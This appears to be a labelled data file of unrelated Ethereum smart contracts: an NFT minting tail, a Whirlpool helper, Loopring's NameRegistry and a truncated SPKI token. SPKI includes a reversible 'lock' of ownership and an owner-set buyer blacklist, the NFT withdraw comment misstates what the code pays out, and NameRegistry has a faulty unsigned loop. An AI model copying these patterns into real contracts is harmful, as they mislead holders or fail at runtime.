notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } /** * Override for ERC721 & ERC721Enumerable */ function supportsInterface(bytes4 interfaceId) public view override ( ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /** * Override for ERC721 and ERC271Enumerable */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override( ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function withdraw() public payable onlyOwner { // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }

True

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/** *Submitted for verification at Etherscan.io on 2020-12-30 */ pragma solidity <=0.6.2; interface IRelease { function release() external; } interface IWhirlpool { function getAllInfoFor(address _user) external view returns (bool isActive, uint256[12] memory info); } contract LeviathanWhirlpoolTask { address private constant _leviathanWhirlpool = 0x4f2CCc35F791e763779f711168424b766Ba3468F; address private constant _whirlpool = 0x999b1e6EDCb412b59ECF0C5e14c20948Ce81F40b; function check(uint _requirement) external view returns (uint256) { (, uint256[12] memory userData) = IWhirlpool(_whirlpool).getAllInfoFor(_leviathanWhirlpool); if(userData[10] >= _requirement) return 0; else return _requirement - userData[10]; } function execute() external { IRelease(_leviathanWhirlpool).release(); } }

True

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/* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.19; /// @title Ethereum Address Register Contract /// @dev This contract maintains a name service for addresses and miner. /// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f19a9e9f969d98909f96b19d9e9e8183989f96df9e8396">[email protected]</a>>, /// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1470757a7d717854787b7b64667d7a733a7b6673">[email protected]</a>>, contract NameRegistry { uint public nextId = 0; mapping (uint => Participant) public participantMap; mapping (address => NameInfo) public nameInfoMap; mapping (bytes12 => address) public ownerMap; mapping (address => string) public nameMap; struct NameInfo { bytes12 name; uint[] participantIds; } struct Participant { address feeRecipient; address signer; bytes12 name; address owner; } event NameRegistered ( string name, address indexed owner ); event NameUnregistered ( string name, address indexed owner ); event OwnershipTransfered ( bytes12 name, address oldOwner, address newOwner ); event ParticipantRegistered ( bytes12 name, address indexed owner, uint indexed participantId, address singer, address feeRecipient ); event ParticipantUnregistered ( uint participantId, address owner ); function registerName(string name) external { require(isNameValid(name)); bytes12 nameBytes = stringToBytes12(name); require(ownerMap[nameBytes] == 0x0); require(stringToBytes12(nameMap[msg.sender]) == bytes12(0x0)); nameInfoMap[msg.sender] = NameInfo(nameBytes, new uint[](0)); ownerMap[nameBytes] = msg.sender; nameMap[msg.sender] = name; NameRegistered(name, msg.sender); } function unregisterName(string name) external { NameInfo storage nameInfo = nameInfoMap[msg.sender]; uint[] storage participantIds = nameInfo.participantIds; bytes12 nameBytes = stringToBytes12(name); require(nameInfo.name == nameBytes); for (uint i = participantIds.length - 1; i >= 0; i--) { delete participantMap[participantIds[i]]; } delete nameInfoMap[msg.sender]; delete nameMap[msg.sender]; delete ownerMap[nameBytes]; NameUnregistered(name, msg.sender); } function transferOwnership(address newOwner) external { require(newOwner != 0x0); require(nameInfoMap[newOwner].name.length == 0); NameInfo storage nameInfo = nameInfoMap[msg.sender]; string storage name = nameMap[msg.sender]; uint[] memory participantIds = nameInfo.participantIds; for (uint i = 0; i < participantIds.length; i ++) { Participant storage p = participantMap[participantIds[i]]; p.owner = newOwner; } delete nameInfoMap[msg.sender]; delete nameMap[msg.sender]; nameInfoMap[newOwner] = nameInfo; nameMap[newOwner] = name; OwnershipTransfered(nameInfo.name, msg.sender, newOwner); } /* function addParticipant(address feeRecipient) */ /* external */ /* returns (uint) */ /* { */ /* return addParticipant(feeRecipient, feeRecipient); */ /* } */ function addParticipant( address feeRecipient, address singer ) external returns (uint) { require(feeRecipient != 0x0 && singer != 0x0); NameInfo storage nameInfo = nameInfoMap[msg.sender]; bytes12 name = nameInfo.name; require(name.length > 0); Participant memory participant = Participant( feeRecipient, singer, name, msg.sender ); uint participantId = ++nextId; participantMap[participantId] = participant; nameInfo.participantIds.push(participantId); ParticipantRegistered( name, msg.sender, participantId, singer, feeRecipient ); return participantId; } function removeParticipant(uint participantId) external { require(msg.sender == participantMap[participantId].owner); NameInfo storage nameInfo = nameInfoMap[msg.sender]; uint[] storage participantIds = nameInfo.participantIds; delete participantMap[participantId]; uint len = participantIds.length; for (uint i = 0; i < len; i ++) { if (participantId == participantIds[i]) { participantIds[i] = participantIds[len - 1]; participantIds.length -= 1; } } ParticipantUnregistered(participantId, msg.sender); } function getParticipantById(uint id) external view returns (address feeRecipient, address signer) { Participant storage addressSet = participantMap[id]; feeRecipient = addressSet.feeRecipient; signer = addressSet.signer; } function getParticipantIds(string name, uint start, uint count) external view returns (uint[] idList) { bytes12 nameBytes = stringToBytes12(name); address owner = ownerMap[nameBytes]; require(owner != 0x0); NameInfo storage nameInfo = nameInfoMap[owner]; uint[] storage pIds = nameInfo.participantIds; uint len = pIds.length; if (start >= len) { return; } uint end = start + count; if (end > len) { end = len; } if (start == end) { return; } idList = new uint[](end - start); for (uint i = start; i < end; i ++) { idList[i - start] = pIds[i]; } } function getOwner(string name) external view returns (address) { bytes12 nameBytes = stringToBytes12(name); return ownerMap[nameBytes]; } function isNameValid(string name) internal pure returns (bool) { bytes memory temp = bytes(name); return temp.length >= 6 && temp.length <= 12; } function stringToBytes12(string str) internal pure returns (bytes12 result) { assembly { result := mload(add(str, 12)) } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-03 */ /** *Submitted for verification at BscScan.com on 2021-10-31 */ /* SPKI token description Community token with many products will be developed: NFT MarketPlace, Swap Crosschain App, Wallet, ... Main features are 1) sell/buy transaction will have different tax percent and distributed to holders for HODLing 2) 6% add liquidity and marketing tax is collected and 2% of it is sent for marketing fund and charity purpose, other 4% is used to add LP 3) Antiwhate : maximum token of holder is set 2% now. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SPKI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x8451B11c95cecA3567135199F2f5544F8717ABA6); // Marketing Address address payable public charityAddress = payable(0x4451Ec36C367BC3fDd285281a8F293eB31de4771); // Charity Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBotList; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private _startTime; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SPIKE INU"; string private _symbol = "SPKI"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 6; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _buyTaxFee = 1; uint256 public _buyLiquidityFee = 4; uint256 public _sellTaxFee = 3; uint256 public _sellLiquidityFee = 6; uint256 public marketingDivisor = 1; uint256 public charityDivisor = 1; uint256 public _maxTxAmount = 2500000 * 10**6 * 10**9; uint256 private minimumTokensBeforeSwap = 200000 * 10**6 * 10**9; uint256 public _maxTokenHolder = 20000000 * 10**6 * 10**9; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; event RewardLiquidityProviders(uint256 tokenAmount); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function getStartTime() public view onlyOwner returns (uint256) { return _startTime; } function isLockedWallet(address wallet) public view onlyOwner returns (bool) { return _isBotList[wallet]; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); require(_excluded.length < 50, "Excluded list too big"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function killBot(address wallet) private { if(block.timestamp < _startTime) { _isBotList[wallet] = true; } } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()){ if(from == uniswapV2Pair){ require(!_isBotList[to], "You are a Bot !!!"); killBot(to); }else if (to == uniswapV2Pair){ require(!_isBotList[from], "You are a Bot !!!"); killBot(from); } } if(from == uniswapV2Pair && from != owner() && to != owner()){ require(balanceOf(to).add(amount) < _maxTokenHolder, "ERC20: You can not hold more than 2% Total supply"); } if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair){ removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee; } if(to == uniswapV2Pair){ removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee; } if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap; //add liquidity pool swapTokens(contractTokenBalance); } } //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if(from == uniswapV2Pair){ removeAllFee(); _taxFee = _buyTaxFee; _liquidityFee = _buyLiquidityFee; } if(to == uniswapV2Pair){ removeAllFee(); _taxFee = _sellTaxFee; _liquidityFee = _sellLiquidityFee; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 extractFeePercent = marketingDivisor.add(charityDivisor); //Calc liquidity Fee uint256 addLiquidPercent = _liquidityFee.sub(extractFeePercent); uint256 addLiquidPart = contractTokenBalance.mul(addLiquidPercent).div(_liquidityFee); uint256 markettingPart = contractTokenBalance.sub(addLiquidPart); // split the contract balance into halves uint256 half = addLiquidPart.div(2); uint256 otherHalf = addLiquidPart.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half.add(markettingPart)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 extractBalance = newBalance.mul(extractFeePercent).div(addLiquidPercent.div(2).add(extractFeePercent)); // add liquidity to uniswap addLiquidity(otherHalf, newBalance.sub(extractBalance)); uint256 markektingBalance = extractBalance.mul(marketingDivisor).div(extractFeePercent); //Send to Marketing address transferToAddressETH(marketingAddress,markektingBalance); //Send to Marketing address transferToAddressETH(charityAddress,extractBalance.sub(markektingBalance) ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; require(_excluded.length < 50, "Excluded list too big"); for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, 